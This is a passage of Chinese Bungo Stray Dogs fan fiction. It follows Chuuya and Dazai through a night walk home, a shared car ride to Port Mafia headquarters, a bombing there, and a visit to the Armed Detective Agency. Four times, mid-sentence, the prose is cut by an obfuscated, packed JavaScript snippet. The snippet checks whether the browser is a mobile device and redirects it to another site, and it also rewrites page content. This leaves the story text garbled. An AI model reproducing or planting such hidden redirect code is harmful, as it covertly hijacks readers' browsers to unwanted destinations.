中也平静地听完,想到如果不是今天刚好跟着他们回去,这段信息还不知什么时候能被他知晓。他该感动吗?这自以为是的臭小子以为这样就可以让他更安全还是什么?是没人教他“搭档”这个词的意义吗? “哎你别怪我啊,当时跟首领签了保密协议的,这个不在我们合作范围内……”察觉到中也质询的眼神,魏尔伦举起双手心虚道。 不过气氛再怎么凝重,中也今天也不会再动手了。剧烈的头痛加上听完整个故事以后心情的波动,他这会着实想吐。 “喂,振作振作啊,我送你回家!”魏尔伦眼看着中也左摇右摆,瞬间紧张起来,起身向前准备扶住他。 中也这会头疼得快炸了,魏尔伦刚靠近他,他就撑不住歪了过去。 “说实话,等合作结束这得另算啊老弟……”魏尔伦把中也架在自己肩上,在周围人的目送下艰难地走了出去。好心的店员帮他们开了门,魏尔伦报以微笑,却在门关上的那一刻才想起来,自己身上这会没剩多少钱了。 偏偏中也家离这不近,这人目前的状态肯定不能走回去了,但是打车……要不直接报太宰治的名字得了?不行,他可不想再回到那个地方…… “你带钱了吗?” “没有。” “手机呢?” “没电了。” “……” 于是这个晚上,如果你也恰好在横滨的街头晃悠,或许可以遇见某位港口Mafia的干部,正带着自己的重力使弟弟艰难前进。 太宰治其实很久没有这样在晚上散步了,他很喜欢这座城市夜晚的感觉,今晚也注定是个美好的晚上,说不定可以久违地找一位美丽的小姐殉情……哎,街对面好像有一点橘色? 肯定是看错了。 但很可惜并没有。 太宰治和那俩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375159|200059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人迎面撞上的时候,魏尔伦正倚着路灯杆,猛猛甩着自己酸痛的胳膊,准备把中也换一边架着。而中也此刻神志不清,四肢无力,半个身子借靠在魏尔伦身上,脚步虚浮,表情痛苦,乍一看很容易被当成醉鬼。 太宰治都看呆了。 “这是在干嘛?” 魏尔伦对上太宰治疑惑而厌烦的目光,竟突然有种自己可能快得救的感觉。 “太宰先生”,魏尔伦上前一步,低着声音开口:“你现在身上带钱了吗?” “怎么,Mafia工资不够,大晚上在街头打劫吗?”太宰治无心在意魏尔伦的话,目光一直在中也那苍白的脸上。 “不不不,中也不太舒服,我送他回家……想打个车……” 太宰治险些气笑,他整了整袖口、衣领,然后冲魏尔伦扯了下嘴角: “把人给我吧。” “?”魏尔伦以为自己听力出问题了。 一起出任务都能把对方留在那自己先回去的人,这会说把人给他? 他要是这会把弟弟交出去,某人还能看见横滨明天的太阳吗? 太宰治对魏尔伦的犹豫无动于衷,只是又重复了一遍同样的话。 见人还是没反应,太宰治干脆直接上前,一手捞过中也的腰,一手把中也的手臂搭在自己肩膀上。动作一气呵成,魏尔伦瞬间解放。 中也似乎在小声抗议,音量很弱,太宰治没管,用了点力直接把人抓了过来。 “好了,后面交给我。” 魏尔伦杵在原地,思索片刻后还是决定走,而且是赶紧走。太宰治好久没这么正常地说过话了,要不是他心里门清中也跟太宰治的关系,就刚才那般情景,他都要相信总部那些坊间传闻了。 中也啊,他是你领导,就算有什么深仇大恨也绝不会趁人之危在路上下手的,别怕…… 看着魏尔伦的背影渐渐消失,太宰治撇撇嘴,抹了把汗就开始拦车。中也这会回过了点神,挣扎着想甩开太宰治,却被人对着小腹捅了一下: “死蛞蝓,能不能老实点?” “谁让你多管闲事的,死青花……”话还没说完,太宰治又上手了。 一定是报复!中也这会头痛难忍,实在不想动手,只好暗自发狠过几天一定要教训一下这个自以为是的小屁孩。 “喂,中也,自己家的门自己开。” 太宰治扶着中也,踉踉跄跄走到了门前,有些不耐烦地催促道。 中也难受地皱着眉,从太宰的肩上抬起头,又把他往身后推了推:“站远点……” 太宰治哼笑,但还是顺着他的动作往墙边靠了靠,嘴上却不饶人:“我可没有看蛞蝓家密码的习惯。” “是,你对于锁都直接上手……”中也淡淡回击,撩了把头发开始滴滴答答摁密码。 太宰治微微一笑,见人开了门,转身便准备走。反正已经送到了,夜晚也没结束,他可不想跟中也待太久。但就当他准备潇洒离开时,那人原本直立的身体突然向前倒去,勾连着门扇出一阵风声。 “中也!” 13. 搭个车 横滨今早起了雾。太宰治望着窗前拥堵的车队和明晃晃的红灯,心情差到了极点。 要迟到了。 他叹了口气,脸上的乌云不比窗外好到哪去。今天以前,他确信自己从来没被早高峰打败过…… 聒噪的喇叭声此起彼伏,太宰治缠着绷带的手自上而下顺了顺方向盘,顿了半天还是决定不要加入这场无休止的音量比拼。 车流还是没有要动的迹象,而他身侧的座位却传来均匀的呼吸声,一起一伏,竟显出几分惬意。握方向盘的手指不自觉收紧,太宰治的嘴角无语到抽搐,他故意抬高了声音咳嗽,而后低气压地吐出三个字: “安、全、带!” “哎……哦!”坐在副驾的中也从浅睡眠中惊醒,低头看到拽在手里系了一半的安全带,立马一把扣上,见这瘫痪的交通不禁也皱了皱眉。 不过没事,自己身边的可是港口Mafia的首领,要迟到一起迟到,没什么好怕的。 车内的气压低到了极点,中也昨天晚上一直在做噩梦,这会也没力气说点什么改换气氛,只能静静端详太宰治憋着一口闷气的模样。 其实吧,二十七岁的他也绝不会容忍自己迟到的,但是这儿的一切正在慢慢颠覆他从前积累下来的习惯和认知,所以难得一次就算了吧,要怪就怪今天太宰治开车选错道了,偏偏就遇到他了。 所以这个车他是搭定了。 “中也,你今天本来可以不用迟到的……”太宰心说你用重力让路自己走都比在这等来得强。 “你在我拦住你的那一刻就停车不就行了?”中也打了个哈欠,忍不住吐槽。 这人当时还试图无视他,玩儿似的改换了几条路线,最后还不是被他追到?要是一开始招手即停,哪用得着耽误这么多时间,这会抱怨什么劲? 要不说是混蛋呢。 “我昨晚没睡好,首领把我扔在路上乱走,就不怕出事?” “还有力气追车,怎么会出事?” 中也笑笑,不执一词,的确,搁平时他三跳两跳也就到了,但是他现在绝不会放过任何一个能跟太宰治接触的机会。 一方面是老生常谈的人身安全,一方面现在他也不完全相信魏尔伦给他的情报了。以前的自己失忆,这么关键的信息不说,还用什么保密协议搪塞,自己看起来很好糊弄吗?到底站在哪边的啊他,除了这个还瞒了多少…… 总之,幼年搭档的安全,自己的工作,以及回去的办法,现在中也决定尽最大可能亲力亲为。而这关键的一步,就是怎么也绕不开的太宰治。 但话又说回来,这位首领宰给自己安排的位置,非常完美地阻断了百分之八十可以和他碰面的机会,剩下的百分之二十或许还要靠中也自己创造。 这于中也来说自然无所谓,毕竟这会的他看太宰治就跟看小孩一样,觉得他幼稚,阴郁,傲慢,但总部其他人不知道啊。 如果一个HR每天都跟在首领后面,还非常关心首领的个人问题,这在总部会被同事们当成啥啊? 中也烦躁地摇摇头,手指贴上覆满了蒸汽的窗玻璃,有意无意地划拉着。 十八岁……或许不论在哪个世界,对于他和太宰治而言,都是一个无法回避的时间节点吧。这个当上首领的混蛋小屁孩儿肯定不是他的搭档,但他是太宰治,光这一点,就足够中也对他上点心了。 不是对“太宰治”的那种上心,更多的是一种带小孩儿无力和心酸。关键是这家伙他要是懂,自己就不用天天提心吊胆了…… “写在车窗上容易擦不掉……”太宰治的声音从一旁传来,带着点戏谑:“头不疼了?” 中也闻言抬眸,发现自己不知不觉已经在玻璃上把某个名字写了好几遍,有些痕迹已经又被水雾模糊,但有的还很新鲜,吓得他赶紧一抹手销毁证据。 完了完了,回去要是被知道肯定免不了一顿嘲笑,几个月没见想成这样…… “写的什么啊?”瞧见他的慌乱,太宰治随口一问,但似乎没期待回答,就自己把话接了下去:“你失忆的事,都想起来了?” 本还沉浸在回想里的中也擦擦手上的水,下意识应道:“嗯,那天的前前后后,记得差不多了。” 或许中也自己都没意识到,他天天带着二十七岁的心,顶着十八岁的外貌,做的事说的话,伪装得再好也不可能每时每刻都毫无违和感。尤其是面对太宰治的时候。 比如现在,中也的语气下意识温柔了一点,就像是……友好邻居给予隔壁叛逆小孩的家长般的宽容。 太宰治听着有些膈应,但他没往那方面想,纯当成中也换着法子的挑衅。 “反复提及你那不敌公会的战力吗,Mafia的重力使自尊心受得了?” 中也翻了个白眼,不屑地“啧”了一声,没有辩驳。拿小孩做要挟,是他们卑鄙,不是自己无能。 “所以公会来横滨干什么?抢货还是抢人?” 车流稍稍动了动,太宰治边旋方向盘边懒懒回答:“目前还不能确定,但那次肯定是突袭,就几批军火还不至于跟Mafia抢。” 中也似乎想到了什么,沉吟了会,小心地问道:“武装侦探社呢,最近有没有动静?” 话音刚落地,太宰治猛地来了个急刹车,中也没有防备,整个人朝前一冲,差点撞到脸。他扶了扶帽子,一脸嫌弃地望向坐姿端正的太宰治。 “你不怕被罚款啊?” “醒了没?还问这种问题吗?”太宰治冷哼一声,歪头弯着眼睛给了中也一个不怀好意的微笑,被中也用手别过去,拒收了。 他还没去拜访那些侦探社的老朋友呢,这么一试探估计有问题。之前公会是为了人虎,在横滨纠缠了好一阵子,那这会呢?但事件不怎么对的上啊,时间线也太乱了…… “喂,太宰”,平稳行驶了一段路,中也突然想到一个问题,他把座椅往后放了放,朝太宰治偏过头。 “不要跟驾驶员讲话啊死蛞蝓……” “切,不跟你讲话也没耽误某人差点闯红灯压线”,中也没惯着他,继续道:“你有没有想过,有一天你会不在港口Mafia?” 太宰治闻言又是一个急刹,不过中也这次有了准备,早就找好支点稳住了身体。他饶有兴味地观察着太宰治脸上变幻莫测的表情,心里却因迟迟得不到回应而忐忑不安。 又过了一个路口,在距离总部一两公里,中也以为听不到这个问题的回答时,自称是合格驾驶员的人开口了: “怎么?中也想让我走吗,难不成以为我走了之后就可以接替我的位置?” “HR还是多干点活,少做梦的比较好。”太宰治淡淡地目视前方,左手打着方向盘,右手一抬,把中也躺皱的领口理了理: “你失忆的事,既然已经想起来了,就到此为止。我暂时没有把你调回来的打算,不过如果跟公会有关,你可以跟着出任务。” “就针对公会?我可没说要报仇啊。”中也心说你还在这安排上了,是不是以为自己拎得可清楚了? “那不然呢,你从昨晚开始就一直纠结这事吧,在门口站得好好的还倒下去了。不感谢我的救命之恩,今天早上还来拦车,早知道不管你了。” 本来就郁闷的中也这会即将红温,他真的很想问问太宰是不是跳河让脑子进水了,自己是为这个生气吗?被公会打得很惨倒是没事,没有无辜的人受伤就行;他气的是没有一个知情者告诉他实话啊! 还有送他回家,又不是自己要求的,是太宰治把他从魏尔伦宽阔可靠的肩膀上抡走的;他的确在门口心力不支倒下了,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375160|200059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太宰治起到了一个什么作用呢? 不过就是把自己扔到了沙发上,好像还叨叨了几句,然后从他的冰箱里顺走了几个蟹肉罐头…… “话说,中也的冰箱里怎么会有蟹肉罐头?”最后一个红绿灯,太宰治把车停好,伸了个懒腰。 中也持续静默,悄悄扯了扯嘴角,想找个像样的借口搪塞过去。他总不能说逛超市看到了就买了吧,都是跟那人生活得太久养成的习惯啊,想改没那么容易的。 太宰治摇摇头,数着红灯的秒数,可就在他准备踩下油门时,一阵不小的爆破声打乱了他们的节奏。中也立马摇下车窗探头,就见远方一团团升起的火和烟。 爆破点看起来离他们有些远,中也眯起眼睛想要再往前倾身,却被太宰治抓着衣服硬生生塞回了车子,强制关窗。 “喂,你干嘛!”中也摁了几下窗子无果,有些愤然地问道。他倒不是逞英雄,只是那个方向怎么有点像武装侦探社的位置?怪让人在意的。 “爆炸了人家会报警,用不着你。你是会灭火还是干嘛?”太宰治阴着脸继续踩油门,没好气道。 这么熟悉的对家出事,太宰治竟然置若罔闻,也不知道这人是不是故意的,反正中也是有些坐立不安。公会来横滨不可能只有偷袭港口Mafia一个目的,那除了他们呢,不用想武装侦探社肯定也在他们的靶子上。 “先去总部,Mafia可不会因为你见义勇为就不扣你工资。” 嘿,真觉得自己是大老板了,这小子知不知道以后工资都是要上交的?中也想来好笑,却又立马把这个想法赶出脑海。 不知道怎么回事,中也就是习惯性带入家长视角去审视太宰治这会的一言一行,尽管他知道,这个世界的太宰和中也最后走不到他们那一步也是有可能的。 “别笑了,给老子下车。” 到了总部,太宰治咻一下停了车,狠狠按开中也的安全带,甚至连门都开好了,就等那人滚下去。 “我今天一定要去洗车。” 中也心里说不计较,但还是忍不住回头做了个阴阳怪气的鬼脸,一时间他也不知道谁更幼稚就是了。 但当他下了车,马上就发现不太幼稚的事情正等着他。 或许是以为首领一大早不上班的原因,是跑去某个不知名的地点研究殉情了,港口Mafia的员工正在井然有序地进行地毯式搜索,势必要确认首领的安全。 太宰治的车停下的时候,恰好赶上广津柳浪拿着呼叫器出来,立原道造叼着面包跟在后面,看起来睡眼惺忪。 “老爷子,给首领打电话不就行了……” “你知道什么?首领的号码哪是随便就打得通的?除了黑客占线,我们谁打给他基本都不接。” “切,这个家伙……我去老爷子你看!”立原道造刚想说他们前不久还是好同事,这会某人忘了本,就看见首领的车在他们跟前默默停下,然后……下来的是中也?! 关键是那人还没有完全下车,就又回头对着里面不知道做了个什么动作,转回头的时候表情很微妙。 立原道造的面包掉了。 “没出息啊,这点场面至于吗”,广津柳浪摇摇头,伸手把立原道造下拉的下巴往上抬了抬。 “老爷子,你的呼叫器好像也掉了哎……” “闭嘴!” 中也一站稳,看到的就是这么一幕。他多想解释这只是一次普通的顺风车,只是司机刚好是首领,可是下一秒,太宰治的风衣飘到了他身后。 “中也”,太宰治和他擦肩而过,又往他手里塞了个东西: “手机不要了吗?” 望着渐远的太宰治和几近石化的两位,中也认命地把手机塞回口袋里,努力装作无事发生,跟着黑色风衣进了总部大门。 14. 突袭 首领没有出事,迟到一小时后来上班了,这消息传得很快;而同样传得很快的,还有中也和太宰一同下车的事。 广津柳浪根本来不及阻止,痛失早饭的立原道造就已经带着他的余震,超绝不经意地走过了总部的大街小巷,带来了HR和首领和好的消息…… “首领的副驾驶还能坐人?没听说过……” “他们以前不就是搭档吗,森先生很看好他们的。” “看好什么?工作方面还是?” “想什么呢!太宰首领上任后还不是大义灭亲,肯定不是我们想的那样。” “是我们想的那样也不错哈哈哈……” “哎呦老爷子来了,我溜了哈,别把我供出来!” 一时间,总部的大家,除了不知情的当事人和几个操心的老干部,都心照不宣地选择了默默吃瓜。 只不过眼神总是出卖不了人。中也就算心再大,也发现了每次自己出去送资料,周围的同事们,不管男女,都会暗戳戳地投来一些十分友善的目光。 尤其是经过太宰治门口的时候,那些目光汇聚起来的氛围仿佛都冒着粉红色的气泡,怪让人后背发麻的。 “红叶姐,大家怎么回事?”中也把新一季度的考勤表放在尾崎红叶桌上,实在忍不住,问了一句。 尾崎红叶一听,掩面皱眉,低声说道:“妾身该怎么说呢……小鬼,你今天搭首领的车来上班的吗?” “对啊。”中也一耸肩,很快承认了,仿佛觉得不是什么大事。 尾崎红叶短促地“啊”了一声,带着些惊异,而后若有所思地点点头,一双明媚的眼睛上下打量着中也:“没事,和首领关系缓和是好事……大家可能只是……为你们高兴?” 这么一来,中也听明白了,看来误会比自己预想中来得早,不过事已至此,他在意也没用。 “所以,你差不多也该回来了吧中也?”尾崎红叶收了笑意,带着几分严肃:“少了你出任务,有时候我也很为难的……既然你们关系又变好了,我就等待你的回归咯?” 中也嘴角扯了扯,暂时应不下来。大家看到的一次例外,在他看来也不是两人关系变好的转折。太宰治阴晴不定,再说,就凭他车上说的那几句话,中也觉得自己短时间内回岗无望。 能做的似乎只有尽量多跟他接触,以及在行动的时候多收集线索。 不过那家伙也说了,只有跟公会有关才会叫上自己…… 处理完所有资料,中也回到办公室,开始查看早上爆炸一事。有了魏尔伦给的权限,加上早间新闻的加持,中也搜集信息并不困难。 这次爆炸影响还挺大,几个主流媒体的板面上,报道已经满天飞了。位置的确就在武装侦探社附近,而且据现场照片来看,基本可以推断为,是针对武装侦探社的突袭。 “炸得挺严重……”中也一边划拉一边咬牙:“要是波及到居民……” 对于此次爆炸的始作俑者,目前还都是猜测,没有定论,但中也基本可以确定就是公会所为。 一来老鼠和猎犬这会还没出场,二来纪德打击武装侦探社对他本人没有任何好处,只有抱着搅乱横滨异能秩序的公会,在初期会使用各种幼稚的手段。 不知道那帮侦探这会怎么样了,中也边担心边继续浏览。他的电脑已经切了好几个屏,忙碌间,他点开手机,拨通了一个号码: “有空吗,问你点事。” “哎呦呦,中也,这就是有首领给你撑腰的样子吗?这么没礼貌?”魏尔伦略显疲惫的话语从电话那头传来,周围环境很吵,中也把音量按大了好几倍。 “关于今天的爆炸,你还知道多少?”中也着急了解情况,其他的疑惑先放在了一边。 “这话不该我问你吗”,魏尔伦的声音好似带上了电波:“一开始我还不信,不过今天看你们这样,关系真的有了大进展啊……怎么,跟首领走得这么近,这点信息会不知道?” 中也对着空气翻了个白眼,没好气地接话:“那我打电话给你?” “就是啊,你打给我干嘛,打给你的太宰治啊。”魏尔伦那头好像在打架,中也听到他骂了一声脏话。 “今天我们来的路上遇到爆炸了,这家伙压根没管,估计我问他也不会说什么。” “正常,他跟武装侦探社不对付,不管才是情理之中”,又有枪声传来,魏尔伦的语速快了些:“不过公会这么快就行动也挺出人意料的,就算跟武装侦探社抢东西也不至于这样吧……” “抢东西?”中也一愣。他暂时不知道看上去和实际上都能称得上一穷二白的武装侦探社,有什么东西值得挥金如土的公会觊觎的。 “没事,追随首领不就什么都知道了嘛,趁人还没有走远,记得跟上。” “走远?”中也一惊。 魏尔伦此刻故作惊讶:“对啊,这会应该快下楼梯了吧,他好像要去武装侦探社一趟的。” “他没告诉我啊!” “你还信他?”魏尔伦失笑,心说等他通知你,估计人早就凉了。 连不在总部的魏尔伦消息都比自己灵通,而且前前后后就这么几个小时。中也此刻才明白坐在HR这个宝座上让他错过了多少东西。 “别愣着啦,快去吧,就算丢脸也不差这一次哦……”魏尔伦似乎火了,隔着手机屏中也都感受到一股重力的磁场:“草,还敢这么开枪……好了不说了,你跟上去看看,确保人是安全的。这是你主动打电话给我的啊,不是我泄露首领行踪……” “啊,知道了。”中也冷笑,都敢跟自己合作了,还怕这个?广津柳浪在这点上都比他胆大的多。 “还有,提醒一下吧”,中也堪堪要挂电话的时候,魏尔伦又出了声:“太宰治不止一个电话卡,会经常停机,但不管怎样还是存点号码的好,万一打通了呢。” “我怎么会没有他电话?” “真的吗?今天早上手机不还落在首领车上了吗,好好看看?” 中也立马切屏查看,却发现自己列表里的确没有了太宰治的那一串数字。这个号码他本就不熟,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375161|200059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么一删,一时半会他还真还原不出来。合着这个混蛋今天早上假意惺惺送手机,实则早就捣鼓好了?他怎么知道自己密码的?! “得了,他既然删了应该就又换号了,不会让你这么轻易找到的,这个事后面再说……我真得挂了中也,哥哥这形势严峻……” “哼,再怎么严峻,你还有重力不是吗”,中也手撑着桌子,语气生冷,心情沉重:“注意着点,别把人都玩死了。” “放心,你哥我有原则。还有,你也是,不管怎么说他也算是个问题青年,做出什么事都不奇怪,你别太在意。” 中也答应得好听,心里却在意死了,电话刚挂他就用重力把自己传送到了楼梯口,恰好追上太宰治没走几步的背影。 这一构图成形的刹那,太宰治停住了,路过的同事们也停住了。 黑色颀长的身影就站在中也下面几个台阶,听到动静转了转身子,见来人是他,便若无其事地继续走。 “太宰”,中也心一横,管不了那么多,脚先迈了出去:“我跟你一起去。” 太宰治肯定是没严格管理总部,因为这会窃窃私语此起彼伏,有的直接传到了中也耳朵里。 “听到了吗,重力使说要一起去哎。” “是担心首领的安全吗……我的天哪,果然从上次高空坠落开始,中也君就不一样了……” 太宰治没为他停留,依旧脚下生风,但中也比他快,跑步两大跨就到了大厅。 太宰治见状停在了倒数几级台阶,居高临下地看着中也。 “爆炸跟公会有关吧,你答应我的,我可以跟着。”中也平静地和他对视,像是在质询。 两人对站着,一阵静默。 突然,太宰治波澜不惊的脸上突然浮现了些异样的情绪,他的眼神有一瞬的慌乱,而后下达命令般低语: “中也,过来!” “什么?!”中也本还疑惑,可下一秒,爆炸声让所有人都大惊失色。 火光飞溅,热浪袭来。几乎是同时,总部的玻璃窗发出刺耳的碎裂声,锋利的碎片雨点般散落,大幅的震动带落了石块和不明烧焦的物体,一时间浓烟四起。 “太宰!” 中也下意识朝前扑过去,重力在同一时刻发动。烟雾模糊了视线,他只能凭感觉,尽量不触碰到太宰治的情况下把人好好地护在自己身下。 但不知是不是错觉,中也似乎看到,爆炸声响起的一瞬,太宰治也在朝他奔过去……不过就他那速度也没用,还好自己的重力足够靠谱,最大程度地托住了碎玻璃和坠物,应该不会有太多人受伤。 “中……也……” 听到微弱的呼唤声,中也心揪了起来,立马低头仔细听:“太宰?” “你个死混蛋,我让你过来……明明直接避开落点就好了,你快把我压死了现在……” “哦?啊!” 中也还没来得及纠结是自己会错了意,还是这人纯纯没良心,衣领就被狠狠往下拎了一把: “从老子身上下去!” 15. 侦探社 冷不丁被这么一吼一扯,中也有些懵,他顺着太宰治的力,低头看了看,确信自己根本就没叠在那人身上。 他只不过手肘撑地,双膝落在太宰治腿侧,把人圈在身下防止受伤而已,除了散落的头发丝应该就没有跟他接触的地方了,怎么会压死他呢? 总不能是被重力使该死的魅力压倒的吧…… 而且他本来是准备起身的,但是被太宰治这样一拉,人反而倾身向前,加上这个姿势本就重心不稳,这一下两下反倒让中也彻底倒下了,扑通贴在了太宰治身上,胸口相抵。 望着黑黑的人影压过来,太宰治朝着天花板翻了个白眼,手腿并用,径直把中也翻了个面,在两人面部相贴之前自己坐了起来。 “都站在那干嘛?受伤的去包扎,其他人该调查调查,从哪里来的,谁突袭的,我回来之前全部搞清楚!” 太宰治整理了一下面上的绷带,朝楼上走廊蹲着的人群说道。这语气乍一听漫不经心,但里头满是压抑着的不满和不容置喙的命令。 话音落下的瞬间,周围一众都立马消失,各干各事去了,留下重力使和首领两人并肩坐在台阶上,沉默着再沉默。 其实这次爆炸虽看上去威力巨大,玻璃震碎无数,但中心聚焦的范围很小,这会烟雾散去之后只留下了一处小小的、深深的坑,仿若是精心计算好落点和时刻,为走到那里的人量身定制的。 所以太宰治才会在这会踩着台阶下去,才会在那个蠢货跑到他前面的时候让他过来……结果中也不知道怎么想的又给他玩英雄救美,还差点就救上了! 太宰治叹了口气,这会连怼人的话都说不出,他明明都计算好了,只要那个时间那个面积,活动的只有他一个,应该就能把这次突发爆炸的伤害面积降到最低,对方目标很明显了嘛就是他…… 结果又被这个死蛞蝓扰乱了计划。 太宰治当真很奇怪,中也什么时候这么料事如神了,哪哪都有他。 最诡异的是他对别的事也不这样,就单单对自己的事这样,异常关心,近乎了如指掌,搞得像自己跟他是情同手足、应该寸步不离的好兄弟一样。 出现意料之外的插曲很正常,毕竟横滨人杰地灵,半路杀出什么都不奇怪,自己觉得周密的计划也可能会有漏洞。 但是!每次的漏洞都跟一个名叫中原中也的家伙有关,这就很不能接受。 太宰治之前想过,要让中也当自己的狗,虽然知道这不太容易,但每每看着中也被自己惹毛就莫名其妙很爽。而现在,这人表面上是对自己“百依百顺”了,甚至“忠诚”的保护欲好似还很过甚,这感觉怎么就这么糟糕呢? 亏他还给中也的手机一通乱造,退出了很多总部权限,还扔给他一串任务,时间跨度拉到一个月,他今天竟然还有空盯着自己。 太宰治环视一周,估摸着总部除了几处玻璃和柱子被炸坏,重要的地方安然无恙,而且碎渣渣由于中也的重力都聚集到了一块,也不会有不小心划伤、绊倒员工的可能。 好吧好吧,这人闪现也算是有点用吧,总部的受伤率这下绝对是零了。 但这也并不能盖过太宰治此刻的不满。因为凭着先前的经验,只要这人出现了,后续就一定会跟随他直到下班! 要跟单细胞生物独处那么长时间,想想就很心累啊……自己接到武装侦探社的通讯,得在天黑前去一趟,时间是很宝贵的! 不管了,消化消化得赶紧走了。 但正当太宰治放空进度快加载到百分百时,胳膊不知不觉被人拉到了一边,一抹温度从手腕蔓延开去。 “喂,你没事吧,伤到哪里没有……” 被太宰治翻面后,中也试探着活动了下关节,发现无甚大碍后便关心起身边这只青花鱼。骂归骂,烦归烦,只要自己还在这一天,这小子还是不要有什么事的好。 突如其来的感情牌让太宰治调整自我的进度条后撤了好一段,他就坐在这任由中也摆弄,头脑一片空白。 这家伙到底想要干嘛啊,太宰治要疯了。中也靠这么近,还对他说这些温温柔柔的话,是想恶心死他吗?! “哦,原来没事啊”,中也把人仔细看了一遍,心放下了一半:“那还愣着干嘛啊,该去哪去哪。”说罢就把太宰治的膀子一丢,顺手拍上了他的肩。 砰的一下,还是很响的。 “中也”,太宰治一头乌云,面色难看得像吃了过期的蟹肉罐头:“我本来是可以没事的……” “话说你今天准备去哪啊,工作吗,还是又胡思乱想要跟美女殉情?”中也见人撑着膝盖站起来,便继续喋喋不休,像个唠叨的家长,弄得太宰治又是一阵反胃。 “要跟上就闭嘴”,问题接二连三,太宰治阴阴地注视着中也,警告道。 中也耸耸肩,噤声跟了上去,到了太宰的车门口,直接用重力开门啪嗒坐了进去。自己飞过去的确更快,但是为了这小子的安全着想,还是跟着。 他或许没注意到,从自己拉过太宰治手臂的那一刻,他们后面就多了一道藏在暗处的影子。 芥川龙之介曲腿靠在墙上,板着脸盯着中也和太宰治有说有笑地走出总部大门,又一起上了车,垂在身侧的手不自觉握成了拳,越捏越紧。 太宰治深吸了好几口气,才黑着脸进了车,看见中也已经系上了安全带,便直接把油门踩到底,猛打方向盘冲了出去。 没办法,时间已经浪费了,死蛞蝓自找的。 这一路的颠簸只有中也知道。 每当他想用重力控制这小子飙车,就会被太宰治按住肩膀或是掐住手腕,然后眼睁睁地看着身旁的死青花鱼一脸坏笑,硬生生把车子拐出更大的弧度。 横滨的交警到底干嘛去了!中也下车的时候天旋地转,但是被太宰治按住肩膀不能发作。 “要是森先生知道你当了HR还这么尽职尽责当我的狗,一定很欣慰……” 中也不想跟他斗嘴,强忍着眩晕上了楼。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375162|200059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >好久不见了,希望这帮侦探没啥事。 “啊,太宰先生来了啊。”开门的是国木田,他脸上还挂着伤,看见太宰治身后还跟着的人后眼睛里略过一丝惊愕,但还是冲中也点了点头。 两人一前一后进了门,见到被折腾得破败不堪的办公室均是一惊。 侦探社的成员此刻聚在了一起,气氛有些凝重。 谷崎一直在接听电话回应各方的询问,两只手都忙不过来,见人到了后只能匆匆点头;与谢野晶子在帮贤治疗伤,一脸沉重;江户川乱步撑着头坐在桌边,眼镜挂在手指上,有意无意地上下掂。 但中也总感觉少了什么。 “啊,首领先生,还有……中原君?”乱步起身,眯着眼睛打量了一下两人,戴上眼镜扫视了一圈没找到能让他们坐的地方。 “社长大人突然致电,港口Mafia受宠若惊。”太宰治也没介意,找了一个墙面兀自靠了上去,缓缓开口。 这句话仿佛自带温度,速冻了在场的所有人。国木田眉头颤了颤,攥着理想国没有吱声,默默走到了乱步身边。与谢野晶子扔开锯子,拍了一下贤治,而后和挂了电话的谷崎一起,跨过东歪西倒的桌椅组成的废墟,也向他们走来。 最震惊的莫过于中也。刚才太宰治喊谁社长?那个没有异能但是超级会推理的小子吗?Mafia的首领出差未归就算了,侦探社的社长也不在线?横滨这是要出大事了啊…… “不是万分紧急我们也不会出此下策”,乱步冷静地回应,身后站着刚从偷袭中缓过来的社员: “首领先生这会还是跟我们在一起的好……我们谈一谈。” “好叭,那就谈谈咯”,太宰治两手一摊,嗤笑一声:“我们现在也算是同病相怜了,不过……” “答应我的事记得做到,我自己开车,也没带别人,来一趟不容易。” 太宰治眼睛往下一瞥,不禁摇摇头,而后上前一步,弯下腰拾起地上几张散落的纸页,塞回国木田手里。 “太宰先生,你说你是一个人来的,我们都不瞎……” “哦?你说中也呀?”太宰治闻言瞪着眼睛,歪头转身,露出一个毫无首领风范的,贱兮兮的微笑: “介绍一下,这是我们总部的HR,略懂重力,也不听首领的指令,我暂时没想好怎么处理他,就被尾随着来了。这不在我的计划之内。” 